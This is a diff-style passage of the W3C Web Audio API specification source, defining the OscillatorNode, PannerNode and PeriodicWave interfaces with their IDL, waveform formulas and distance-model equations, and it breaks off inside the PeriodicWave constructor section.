+<h4 dictionary lt="mediastreamtrackaudiosourceoptions" id="MediaStreamTrackAudioSourceOptions">
+{{MediaStreamTrackAudioSourceOptions}}</h4>
+
+This specifies the options for constructing a
+{{MediaStreamTrackAudioSourceNode}}. This is
+required.
+
+<pre class="idl">
+dictionary MediaStreamTrackAudioSourceOptions {
+	required MediaStreamTrack mediaStreamTrack;
+};
+</pre>
+
+<h5 id="dictionary-mediastreamtrackaudiosourceoptions-members">
+Dictionary {{MediaStreamTrackAudioSourceOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="MediaStreamTrackAudioSourceOptions">
+	: <dfn>mediaStreamTrack</dfn>
+	::
+		The media stream track that will act as a source. <span class="synchronous">If this
+		{{MediaStreamTrack}} <code>kind</code> attribute is
+		not <code>"audio"</code>, an {{InvalidStateError}}
+		MUST be thrown.</span>
+</dl>
+
+
+<!-- Big Text: Oscillator -->
+
+<h3 interface lt="oscillatornode" id="OscillatorNode">
+The {{OscillatorNode}} Interface</h3>
+
+{{OscillatorNode}} represents an audio source
+generating a periodic waveform. It can be set to a few commonly used
+waveforms. Additionally, it can be set to an arbitrary periodic
+waveform through the use of a {{PeriodicWave}}
+object.
+
+Oscillators are common foundational building blocks in audio
+synthesis. An OscillatorNode will start emitting sound at the time
+specified by the {{AudioScheduledSourceNode/start()}} method.
+
+Mathematically speaking, a <em>continuous-time</em> periodic waveform
+can have very high (or infinitely high) frequency information when
+considered in the frequency domain. When this waveform is sampled as
+a discrete-time digital audio signal at a particular sample-rate,
+then care MUST be taken to discard (filter out) the high-frequency
+information higher than the <a>Nyquist frequency</a> before
+converting the waveform to a digital form. If this is not done, then
+<a href="https://en.wikipedia.org/wiki/Aliasing"><em>aliasing</em></a> of higher frequencies (than the <a>Nyquist
+frequency</a>) will fold back as mirror images into frequencies lower
+than the <a>Nyquist frequency</a>. In many cases this will cause
+audibly objectionable artifacts. This is a basic and well-understood
+principle of audio DSP.
+
+There are several practical approaches that an implementation may
+take to avoid this aliasing. Regardless of approach, the
+<em>idealized</em> discrete-time digital audio signal is well defined
+mathematically. The trade-off for the implementation is a matter of
+implementation cost (in terms of CPU usage) versus fidelity to
+achieving this ideal.
+
+It is expected that an implementation will take some care in
+achieving this ideal, but it is reasonable to consider lower-quality,
+less-costly approaches on lower-end hardware.
+
+Both {{OscillatorNode/frequency}} and {{OscillatorNode/detune}} are <a>a-rate</a>
+parameters, and form a <a>compound parameter</a>. They are used
+together to determine a <dfn>computedOscFrequency</dfn> value:
+
+<pre>
+	computedOscFrequency(t) = frequency(t) * pow(2, detune(t) / 1200)
+</pre>
+
+The OscillatorNode's instantaneous phase at each time is the definite
+time integral of <a>computedOscFrequency</a>, assuming a phase angle
+of zero at the node's exact start time. Its <a>nominal range</a> is
+[-<a>Nyquist frequency</a>, <a>Nyquist frequency</a>].
+
+The single output of this node consists of one channel (mono).
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 0
+	noo: 1
+	cc: 2
+	cc-mode: max
+	cc-interp: speakers
+	tail-time: No
+</pre>
+
+<pre class="idl">
+enum OscillatorType {
+	"sine",
+	"square",
+	"sawtooth",
+	"triangle",
+	"custom"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="OscillatorType">
+	<thead>
+		<tr><th scope="col" colspan="2">Enumeration description
+	<tbody>
+		<tr><td>"<dfn>sine</dfn>" <td>A sine wave
+		<tr><td>"<dfn>square</dfn>" <td>A square wave of duty period 0.5
+		<tr><td>"<dfn>sawtooth</dfn>" <td>A sawtooth wave
+		<tr><td>"<dfn>triangle</dfn>" <td>A triangle wave
+		<tr><td>"<dfn>custom</dfn>" <td>A custom periodic wave
+</table>
+</div>
+
+<pre class="idl">
+[Exposed=Window]
+interface OscillatorNode : AudioScheduledSourceNode {
+	constructor (BaseAudioContext context, optional OscillatorOptions options = {});
+	attribute OscillatorType type;
+	readonly attribute AudioParam frequency;
+	readonly attribute AudioParam detune;
+	undefined setPeriodicWave (PeriodicWave periodicWave);
+};
+</pre>
+
+<h4 id="OscillatorNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="OscillatorNode">
+	: <dfn>OscillatorNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="OscillatorNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{OscillatorNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{OscillatorNode}}.
+		</pre>
+</dl>
+
+<h4 id="OscillatorNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="OscillatorNode">
+	: <dfn>detune</dfn>
+	::
+		A detuning value (in <a href="https://en.wikipedia.org/wiki/Cent_(music)">cents</a>) which will offset the
+		{{OscillatorNode/frequency}} by the given amount. Its default
+		<code>value</code> is 0. This parameter is <a>a-rate</a>. It
+		forms a <a>compound parameter</a> with {{OscillatorNode/frequency}}
+		to form the <a>computedOscFrequency</a>.  The nominal
+		range listed below allows this parameter to detune the
+		{{OscillatorNode/frequency}} over the entire possible
+		range of frequencies.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: \(\approx -153600\)
+			min-notes:
+			max: \(\approx 153600\)
+			max-notes: This value is approximately \(1200\ \log_2 \mathrm{FLT\_MAX}\) where FLT_MAX is the largest {{float}} value.
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>frequency</dfn>
+	::
+		The frequency (in Hertz) of the periodic waveform. Its default
+		<code>value</code> is 440. This parameter is <a>a-rate</a>. It
+		forms a <a>compound parameter</a> with {{OscillatorNode/detune}} to
+		form the <a>computedOscFrequency</a>. Its <a>nominal range</a>
+		is [-<a>Nyquist frequency</a>, <a>Nyquist frequency</a>].
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 440
+			min: -<a>Nyquist frequency</a>
+			max: <a>Nyquist frequency</a>
+			rate: "{{AutomationRate/a-rate}}"
+		</pre>
+
+	: <dfn>type</dfn>
+	::	The shape of the periodic waveform. It may directly be set to any
+		of the type constant values except for "{{OscillatorType/custom}}". <span class="synchronous">Doing so MUST throw an
+		{{InvalidStateError}} exception.</span> The
+		{{OscillatorNode/setPeriodicWave()}} method can be
+		used to set a custom waveform, which results in this attribute
+		being set to "{{OscillatorType/custom}}". The default value is "{{OscillatorType/sine}}". When this
+		attribute is set, the phase of the oscillator MUST be conserved.
+</dl>
+
+<h4 id="OscillatorNode-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="OscillatorNode">
+	: <dfn>setPeriodicWave(periodicWave)</dfn>
+	::
+		Sets an arbitrary custom periodic waveform given a {{PeriodicWave}}.
+
+		<pre class=argumentdef for="OscillatorNode/setPeriodicWave()">
+			periodicWave: custom waveform to be used by the oscillator
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+</dl>
+
+<h4 dictionary lt="oscillatoroptions" id="OscillatorOptions">
+{{OscillatorOptions}}</h4>
+
+This specifies the options to be used when constructing an
+{{OscillatorNode}}. All of the members are
+optional; if not specified, the normal default values are used for
+constructing the oscillator.
+
+<pre class="idl">
+dictionary OscillatorOptions : AudioNodeOptions {
+	OscillatorType type = "sine";
+	float frequency = 440;
+	float detune = 0;
+	PeriodicWave periodicWave;
+};
+</pre>
+
+<h5 id="dictionary-oscillatoroptions-members">
+Dictionary {{OscillatorOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="OscillatorOptions">
+	: <dfn>detune</dfn>
+	:: The initial detune value for the {{OscillatorNode}}.
+
+	: <dfn>frequency</dfn>
+	:: The initial frequency for the {{OscillatorNode}}.
+
+	: <dfn>periodicWave</dfn>
+	::
+		The {{PeriodicWave}} for the
+		{{OscillatorNode}}. If this is specified, then
+		any valid value for {{OscillatorOptions/type}} is ignored; it is
+		treated as if "{{OscillatorType/custom}}" were specified.
+
+	: <dfn>type</dfn>
+	::
+		The type of oscillator to be constructed. If this is set to
+		"custom" without also specifying a {{OscillatorOptions/periodicWave}}, then an
+		<span class="synchronous">{{InvalidStateError}}
+		exception MUST be thrown</span>. If {{OscillatorOptions/periodicWave}} is specified,
+		then any valid value for {{OscillatorOptions/type}} is ignored; it is
+		treated as if it were set to "custom".
+</dl>
+
+<h4 id="basic-waveform-phase">
+Basic Waveform Phase</h4>
+
+The idealized mathematical waveforms for the various oscillator
+types are defined below. In summary, all waveforms are defined
+mathematically to be an odd function with a positive slope at time 0.
+The actual waveforms produced by the oscillator may differ to
+prevent aliasing affects.
+
+The oscillator MUST produce the same result as if a {{PeriodicWave}},
+with the appropriate <a href="#oscillator-coefficients">Fourier
+series</a> and with {{PeriodicWaveConstraints/disableNormalization}} set to false, were used to create these
+basic waveforms.
+
+: "{{OscillatorType/sine}}"
+::
+	The waveform for sine oscillator is:
+
+	<pre nohighlight>
+	$$
+		x(t) = \sin t
+	$$
+	</pre>
+
+: "{{OscillatorType/square}}"
+::
+	The waveform for the square wave oscillator is:
+
+	<pre nohighlight>
+	$$
+		x(t) = \begin{cases}
+					 1 & \mbox{for } 0≤ t &lt; \pi \\
+					 -1 & \mbox{for } -\pi &lt; t &lt; 0.
+					 \end{cases}
+	$$
+	</pre>
+
+	This is extended to all \(t\) by using the fact that the
+	waveform is an odd function with period \(2\pi\).
+
+: "{{OscillatorType/sawtooth}}"
+::
+	The waveform for the sawtooth oscillator is the ramp:
+
+	<pre nohighlight>
+	$$
+		x(t) = \frac{t}{\pi} \mbox{ for } -\pi &lt; t ≤ \pi;
+	$$
+	</pre>
+
+	This is extended to all \(t\) by using the fact that the
+	waveform is an odd function with period \(2\pi\).
+
+: "{{OscillatorType/triangle}}"
+::
+	The waveform for the triangle oscillator is:
+
+	<pre nohighlight>
+	$$
+		x(t) = \begin{cases}
+						 \frac{2}{\pi} t & \mbox{for } 0 ≤ t ≤ \frac{\pi}{2} \\
+						 1-\frac{2}{\pi} \left(t-\frac{\pi}{2}\right) & \mbox{for }
+						 \frac{\pi}{2} &lt; t ≤ \pi.
+					 \end{cases}
+	$$
+	</pre>
+
+	This is extended to all \(t\) by using the fact that the
+	waveform is an odd function with period \(2\pi\).
+
+
+<!-- Big Text: Panner -->
+
+<h3 interface lt="pannernode" id="PannerNode">
+The {{PannerNode}} Interface</h3>
+
+This interface represents a processing node which
+<a href="#Spatialization">positions / spatializes</a> an incoming audio
+stream in three-dimensional space. The spatialization is in relation
+to the {{BaseAudioContext}}'s {{AudioListener}}
+({{BaseAudioContext/listener}} attribute).
+
+<pre class=include>
+path: audionode.include
+macros:
+	noi: 1
+	noo: 1
+	cc: 2
+	cc-notes: Has <a>channelCount constraints</a>
+	cc-mode: clamped-max
+	cc-mode-notes: Has <a>channelCountMode constraints</a>
+	cc-interp: speakers
+	tail-time: Maybe
+	tail-time-notes:  If the {{PannerNode/panningModel}} is set to "{{PanningModelType/HRTF}}", the node will produce non-silent output for silent input due to the inherent processing for head responses. Otherwise the tail-time is zero.
+</pre>
+
+The input of this node is either mono (1 channel) or stereo (2
+channels) and cannot be increased. Connections from nodes with fewer
+or more channels will be <a href="#channel-up-mixing-and-down-mixing">up-mixed or down-mixed
+appropriately</a>.
+
+If the node is [=actively processing=], the output of this node is
+hard-coded to stereo (2 channels) and cannot be configured.  If the node
+is not [=actively processing=], then the output is a single channel of
+silence.
+
+The {{PanningModelType}} enum determines which
+spatialization algorithm will be used to position the audio in 3D
+space. The default is "{{PanningModelType/equalpower}}".
+
+<pre class="idl">
+enum PanningModelType {
+		"equalpower",
+		"HRTF"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="PanningModelType">
+	<thead>
+		<tr><th scope="col" colspan="2">Enumeration description
+	<tbody>
+		<tr><td>"<dfn>equalpower</dfn>"
+		<td>
+			A simple and efficient spatialization algorithm using equal-power
+			panning.
+
+			Note: When this panning model is used, all the {{AudioParam}}s
+			used to compute the output of this node are <a>a-rate</a>.
+
+		<tr><td>"<dfn>HRTF</dfn>"
+		<td>
+			A higher quality spatialization algorithm using a convolution
+			with measured impulse responses from human subjects. This panning
+			method renders stereo output.
+
+			Note:When this panning model is used, all the {{AudioParam}}s
+			used to compute the output of this node are <a>k-rate</a>.
+</table>
+</div>
+
+The <dfn>effective automation rate</dfn> for an {{AudioParam}} of a
+{{PannerNode}} is determined by the {{PannerNode/panningModel}} and
+{{AudioParam/automationRate}} of the {{AudioParam}}.  If the
+{{PannerNode/panningModel}} is "{{PanningModelType/HRTF}}", the
+[=effective automation rate=] is "{{AutomationRate/k-rate}}",
+independent of the setting of the {{AudioParam/automationRate}}.
+Otherwise the [=effective automation rate=] is the value of
+{{AudioParam/automationRate}}.
+
+The {{DistanceModelType}} enum determines which
+algorithm will be used to reduce the volume of an audio source as it
+moves away from the listener. The default is "{{DistanceModelType/inverse}}".
+
+In the description of each distance model below, let \(d\) be the
+distance between the listener and the panner; \(d_{ref}\) be the
+value of the {{PannerNode/refDistance}} attribute; \(d_{max}\) be the
+value of the {{PannerNode/maxDistance}} attribute; and \(f\) be the
+value of the {{PannerNode/rolloffFactor}} attribute.
+
+<pre class="idl">
+enum DistanceModelType {
+	"linear",
+	"inverse",
+	"exponential"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="DistanceModelType">
+	<thead>
+		<tr><th scope="col" colspan="2">Enumeration description
+	<tbody>
+		<tr>
+			<td>"<dfn>linear</dfn>"
+			<td>
+				A linear distance model which calculates <em>distanceGain</em>
+				according to:
+
+				<pre nohighlight>
+				$$
+					1 - f\ \frac{\max\left[\min\left(d, d'_{max}\right), d'_{ref}\right] - d'_{ref}}{d'_{max} - d'_{ref}}
+				$$
+				</pre>
+
+				where \(d'_{ref} = \min\left(d_{ref}, d_{max}\right)\) and \(d'_{max} =
+				\max\left(d_{ref}, d_{max}\right)\). In the case where \(d'_{ref} =
+				d'_{max}\), the value of the linear model is taken to be
+				\(1-f\).
+
+				Note that \(d\) is clamped to the interval \(\left[d'_{ref},\,
+				d'_{max}\right]\).
+
+		<tr>
+			<td>"<dfn>inverse</dfn>"
+			<td>
+				An inverse distance model which calculates
+				<em>distanceGain</em> according to:
+
+				<pre nohighlight>
+				$$
+					\frac{d_{ref}}{d_{ref} + f\ \left[\max\left(d, d_{ref}\right) - d_{ref}\right]}
+				$$
+				</pre>
+
+				That is, \(d\) is clamped to the interval \(\left[d_{ref},\,
+				\infty\right)\). If \(d_{ref} = 0\), the value of the inverse model
+				is taken to be 0, independent of the value of \(d\) and \(f\).
+
+		<tr>
+			<td>"<dfn>exponential</dfn>"
+			<td>
+				An exponential distance model which calculates
+				<em>distanceGain</em> according to:
+
+				<pre nohighlight>
+				$$
+					\left[\frac{\max\left(d, d_{ref}\right)}{d_{ref}}\right]^{-f}
+				$$
+				</pre>
+
+				That is, \(d\) is clamped to the interval \(\left[d_{ref},\,
+				\infty\right)\). If \(d_{ref} = 0\), the value of the exponential
+				model is taken to be 0, independent of \(d\) and \(f\).
+</table>
+</div>
+
+<pre class="idl">
+[Exposed=Window]
+interface PannerNode : AudioNode {
+	constructor (BaseAudioContext context, optional PannerOptions options = {});
+	attribute PanningModelType panningModel;
+	readonly attribute AudioParam positionX;
+	readonly attribute AudioParam positionY;
+	readonly attribute AudioParam positionZ;
+	readonly attribute AudioParam orientationX;
+	readonly attribute AudioParam orientationY;
+	readonly attribute AudioParam orientationZ;
+	attribute DistanceModelType distanceModel;
+	attribute double refDistance;
+	attribute double maxDistance;
+	attribute double rolloffFactor;
+	attribute double coneInnerAngle;
+	attribute double coneOuterAngle;
+	attribute double coneOuterGain;
+	undefined setPosition (float x, float y, float z);
+	undefined setOrientation (float x, float y, float z);
+};
+</pre>
+
+<h4 id="PannerNode-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="PannerNode">
+	: <dfn>PannerNode(context, options)</dfn>
+	::
+
+		<pre class=include>
+			path: audionode-init.include
+		</pre>
+
+		<pre class=argumentdef for="PannerNode/constructor()">
+			context: The {{BaseAudioContext}} this new {{PannerNode}} will be <a href="#associated">associated</a> with.
+			options: Optional initial parameter value for this {{PannerNode}}.
+		</pre>
+</dl>
+
+<h4 id="PannerNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="PannerNode">
+	: <dfn>coneInnerAngle</dfn>
+	::
+		A parameter for directional audio sources that is an angle, in
+		degrees, inside of which there will be no volume reduction. The
+		default value is 360. The behavior is undefined if the angle is
+		outside the interval [0, 360].
+
+	: <dfn>coneOuterAngle</dfn>
+	::
+		A parameter for directional audio sources that is an angle, in
+		degrees, outside of which the volume will be reduced to a
+		constant value of {{PannerNode/coneOuterGain}}. The default
+		value is 360. The behavior is undefined if the angle is outside
+		the interval [0, 360].
+
+	: <dfn>coneOuterGain</dfn>
+	::
+		A parameter for directional audio sources that is the gain
+		outside of the {{PannerNode/coneOuterAngle}}. The default
+		value is 0. It is a linear value (not dB) in the range [0, 1]. <span class="synchronous">An
+		{{InvalidStateError}} MUST be thrown if the parameter is
+		outside this range.</span>
+
+	: <dfn>distanceModel</dfn>
+	::
+		Specifies the distance model used by this
+		{{PannerNode}}. Defaults to
+		"{{inverse}}".
+
+	: <dfn>maxDistance</dfn>
+	::
+		The maximum distance between source and listener, after which the
+		volume will not be reduced any further. The default value is 10000.
+                <span class="synchronous">A {{RangeError}} exception MUST be thrown if this
+		is set to a non-positive value.</span>
+
+	: <dfn>orientationX</dfn>
+	::
+		Describes the \(x\)-component of the vector of the direction the
+		audio source is pointing in 3D Cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 1
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>orientationY</dfn>
+	::
+		Describes the \(y\)-component of the vector of the direction the
+		audio source is pointing in 3D cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>orientationZ</dfn>
+	::
+		Describes the \(z\)-component of the vector of the direction the
+		audio source is pointing in 3D cartesian coordinate space.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>panningModel</dfn>
+	::
+		Specifies the panning model used by this
+		{{PannerNode}}. Defaults to
+		"{{PanningModelType/equalpower}}".
+
+	: <dfn>positionX</dfn>
+	::
+		Sets the \(x\)-coordinate position of the audio source in a 3D
+		Cartesian system.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>positionY</dfn>
+	::
+		Sets the \(y\)-coordinate position of the audio source in a 3D
+		Cartesian system.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>positionZ</dfn>
+	::
+		Sets the \(z\)-coordinate position of the audio source in a 3D
+		Cartesian system.
+
+		<pre class=include>
+		path: audioparam.include
+		macros:
+			default: 0
+			min: <a>most-negative-single-float</a>
+			min-notes: Approximately -3.4028235e38
+			max: <a>most-positive-single-float</a>
+			max-notes: Approximately 3.4028235e38
+			rate: "{{AutomationRate/a-rate}}"
+			rate-notes: Has [=automation rate constraints=]
+		</pre>
+
+	: <dfn>refDistance</dfn>
+	::
+		A reference distance for reducing volume as source moves further
+		from the listener. For distances less than this, the volume is not reduced. The default value is 1. <span class="synchronous">A
+		{{RangeError}} exception MUST be thrown if this is set
+		to a negative value.</span>
+
+	: <dfn>rolloffFactor</dfn>
+	::
+		Describes how quickly the volume is reduced as source moves
+		away from listener. The default value is 1. <span class="synchronous">A
+		{{RangeError}} exception MUST be thrown if this is set to
+		a negative value.</span>
+
+		The nominal range for the {{PannerNode/rolloffFactor}} specifies
+		the minimum and maximum values the <code>rolloffFactor</code>
+		can have. Values outside the range are clamped to lie within
+		this range. The nominal range depends on the {{PannerNode/distanceModel}} as follows:
+
+		<dl dfn-for="DistanceModelType">
+			: "{{linear}}"
+			:: The nominal range is \([0, 1]\).
+
+			: "{{inverse}}"
+			:: The nominal range is \([0, \infty)\).
+
+			: "{{exponential}}"
+			:: The nominal range is \([0, \infty)\).
+		</dl>
+
+		Note that the clamping happens as part of the
+		processing of the distance computation.  The attribute
+		reflects the value that was set and is not modified.
+</dl>
+
+<h4 id="PannerNode-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="PannerNode">
+	: <dfn>setOrientation(x, y, z)</dfn>
+	::
+		This method is DEPRECATED. It is equivalent to setting
+		{{PannerNode/orientationX}}.{{AudioParam/value}},
+		{{PannerNode/orientationY}}.{{AudioParam/value}},
+		and {{PannerNode/orientationZ}}.{{AudioParam/value}}
+		attribute directly, with the <code>x</code>, <code>y</code> and
+		<code>z</code> parameters, respectively.
+
+		<span class="synchronous">Consequently, if any of the {{PannerNode/orientationX}},
+		{{PannerNode/orientationY}}, and {{PannerNode/orientationZ}} {{AudioParam}}s
+		have an automation curve set using {{AudioParam/setValueCurveAtTime()}} at the time
+		this method is called, a {{NotSupportedError}} MUST be
+		thrown.</span>
+
+		Describes which direction the audio source is pointing in the
+		3D cartesian coordinate space. Depending on how directional the
+		sound is (controlled by the <b>cone</b> attributes), a sound
+		pointing away from the listener can be very quiet or completely
+		silent.
+
+		The <code>x, y, z</code> parameters represent a direction
+		vector in 3D space.
+
+		The default value is (1,0,0).
+
+		<pre class=argumentdef for="PannerNode/setOrientation()">
+			x:
+			y:
+			z:
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>setPosition(x, y, z)</dfn>
+	::
+		This method is DEPRECATED. It is equivalent to setting
+		{{PannerNode/positionX}}.{{AudioParam/value}},
+		{{PannerNode/positionY}}.{{AudioParam/value}}, and
+		{{PannerNode/positionZ}}.{{AudioParam/value}}
+		attribute directly with the <code>x</code>, <code>y</code> and
+		<code>z</code> parameters, respectively.
+
+		<span class="synchronous">Consequently, if any of the {{PannerNode/positionX}}, {{PannerNode/positionY}},
+		and {{PannerNode/positionZ}} {{AudioParam}}s have an automation
+		curve set using {{AudioParam/setValueCurveAtTime()}} at the time
+		this method is called, a {{NotSupportedError}} MUST be
+		thrown.</span>
+
+		Sets the position of the audio source relative to the
+		{{BaseAudioContext/listener}} attribute. A 3D cartesian
+		coordinate system is used.
+
+		The <code>x, y, z</code> parameters represent the coordinates
+		in 3D space.
+
+		The default value is (0,0,0).
+
+		<pre class=argumentdef for="PannerNode/setPosition()">
+			x:
+			y:
+			z:
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+</dl>
+
+<h4 dictionary lt="panneroptions" id="PannerOptions">
+{{PannerOptions}}</h3>
+
+This specifies options for constructing a
+{{PannerNode}}. All members are optional; if not
+specified, the normal default is used in constructing the node.
+
+<pre class="idl">
+dictionary PannerOptions : AudioNodeOptions {
+	PanningModelType panningModel = "equalpower";
+	DistanceModelType distanceModel = "inverse";
+	float positionX = 0;
+	float positionY = 0;
+	float positionZ = 0;
+	float orientationX = 1;
+	float orientationY = 0;
+	float orientationZ = 0;
+	double refDistance = 1;
+	double maxDistance = 10000;
+	double rolloffFactor = 1;
+	double coneInnerAngle = 360;
+	double coneOuterAngle = 360;
+	double coneOuterGain = 0;
+};
+</pre>
+
+<h5 id="dictionary-pannernode-members">
+Dictionary {{PannerOptions}} Members</h5>
+
+<dl dfn-type=dict-member dfn-for="PannerOptions">
+	: <dfn>coneInnerAngle</dfn>
+	:: The initial value for the {{PannerNode/coneInnerAngle}} attribute of the node.
+
+	: <dfn>coneOuterAngle</dfn>
+	::  The initial value for the {{PannerNode/coneOuterAngle}} attribute of the node.
+
+	: <dfn>coneOuterGain</dfn>
+	:: The initial value for the {{PannerNode/coneOuterGain}} attribute of the node.
+
+	: <dfn>distanceModel</dfn>
+	:: The distance model to use for the node.
+
+	: <dfn>maxDistance</dfn>
+	:: The initial value for the {{PannerNode/maxDistance}} attribute of the node.
+
+	: <dfn>orientationX</dfn>
+	:: The initial \(x\)-component value for the {{PannerNode/orientationX}} AudioParam.
+
+	: <dfn>orientationY</dfn>
+	:: The initial \(y\)-component value for the {{PannerNode/orientationY}} AudioParam.
+
+	: <dfn>orientationZ</dfn>
+	:: The initial \(z\)-component value for the {{PannerNode/orientationZ}} AudioParam.
+
+	: <dfn>panningModel</dfn>
+	:: The panning model to use for the node.
+
+	: <dfn>positionX</dfn>
+	:: The initial \(x\)-coordinate value for the {{PannerNode/positionX}} AudioParam.
+
+	: <dfn>positionY</dfn>
+	:: The initial \(y\)-coordinate value for the {{PannerNode/positionY}} AudioParam.
+
+	: <dfn>positionZ</dfn>
+	:: The initial \(z\)-coordinate  value for the {{PannerNode/positionZ}} AudioParam.
+
+	: <dfn>refDistance</dfn>
+	:: The initial value for the {{PannerNode/refDistance}} attribute of the node.
+
+	: <dfn>rolloffFactor</dfn>
+	:: The initial value for the {{PannerNode/rolloffFactor}} attribute of the node.
+</dl>
+
+<h4 id="panner-channel-limitations">
+Channel Limitations</h4>
+
+The set of <a href="#panner-channel-limitations">channel
+limitations</a> for {{StereoPannerNode}} also apply
+to {{PannerNode}}.
+
+<!-- Big Text: Periodic -->
+
+<h3 interface lt="periodicwave" id="PeriodicWave">
+The {{PeriodicWave}} Interface</h3>
+
+{{PeriodicWave}} represents an arbitrary periodic waveform to be used
+with an {{OscillatorNode}}.
+
+A <a>conforming implementation</a> MUST support {{PeriodicWave}}
+up to at least 8192 elements.
+
+<pre class="idl">
+[Exposed=Window]
+interface PeriodicWave {
+	constructor (BaseAudioContext context, optional PeriodicWaveOptions options = {});
+};
+</pre>
+
+<h4 id="PeriodicWave-constructors">
+Constructors</h4>
+
+<dl dfn-type=constructor dfn-for="PeriodicWave">
+	: <dfn>PeriodicWave(context, options)</dfn>
+	::
+		<div algorithm="construct periodic wave">
+			1. Let <var>p</var> be a new {{PeriodicWave}} object. Let <dfn attribute for="PeriodicWave">\[[real]]</dfn> and <dfn attribute for="PeriodicWave">\[[imag]]</dfn> be two internal slots of type {{Float32Array}}, and let <dfn attribute for="PeriodicWave">\[[normalize]]</dfn> be an internal slot.
+
+			1. Process {{PeriodicWave/constructor(context, options)/options!!argument}} according to one of the following cases:
+				1. If both {{PeriodicWaveOptions/real|options.real}} and {{PeriodicWaveOptions/imag|options.imag}} are present
+					1. <span class="synchronous">If the lengths of {{PeriodicWaveOptions/real|options.real}} and {{PeriodicWaveOptions/imag|options.imag}} are different or if either length is less than 2, throw an {{IndexSizeError}} and abort this algorithm.</span>
+					1. Set {{[[real]]}} and {{[[imag]]}} to new arrays with the same length as {{PeriodicWaveOptions/real|options.real}}.
+					1. Copy all elements from {{PeriodicWaveOptions/real|options.real}} to {{[[real]]}} and {{PeriodicWaveOptions/imag|options.imag}} to {{[[imag]]}}.
+				1. If only {{PeriodicWaveOptions/real|options.real}} is present
+					1. <span class="synchronous">If length of {{PeriodicWaveOptions/real|options.real}} is less than 2, throw an {{IndexSizeError}} and abort this algorithm.</span>
+					1. Set {{[[real]]}} and {{[[imag]]}} to arrays with the same length as {{PeriodicWaveOptions/real|options.real}}.
+					1. Copy {{PeriodicWaveOptions/real|options.real}} to {{[[real]]}} and set {{[[imag]]}} to all zeros.
+				1. If only {{PeriodicWaveOptions/imag|options.imag}} is present
+					1. <span class="synchronous">If length of {{PeriodicWaveOptions/imag|options.imag}} is less than 2, throw an {{IndexSizeError}} and abort this algorithm.</span>
+					1. Set {{[[real]]}} and {{[[imag]]}} to arrays with the same length as {{PeriodicWaveOptions/real|options.imag}}.
+					1. Copy {{PeriodicWaveOptions/imag|options.imag}} to {{[[imag]]}} and set {{[[real]]}} to all zeros.
+				1. Otherwise
+					1. Set {{[[real]]}} and {{[[imag]]}} to zero-filled arrays of length 2.
+					1. Set element at index 1 of {{[[imag]]}} to 1.
+
+					Note: When setting this {{PeriodicWave}} on an {{OscillatorNode}}, this is equivalent to using the built-in type "{{OscillatorType/sine}}".
+			1. Set element at index 0 of both {{[[real]]}} and {{[[imag]]}} to 0.  (This sets the DC component to 0.)
+	
+			5. Initialize {{[[normalize]]}} to the inverse of the
+				{{PeriodicWaveConstraints/disableNormalization}} attribute of the
+				{{PeriodicWaveConstraints}} on the
+				{{PeriodicWaveOptions}}.
+
+			6. Return <var>p</var>.
+		</div>
+
+		<pre class=argumentdef for="PeriodicWave/constructor()">
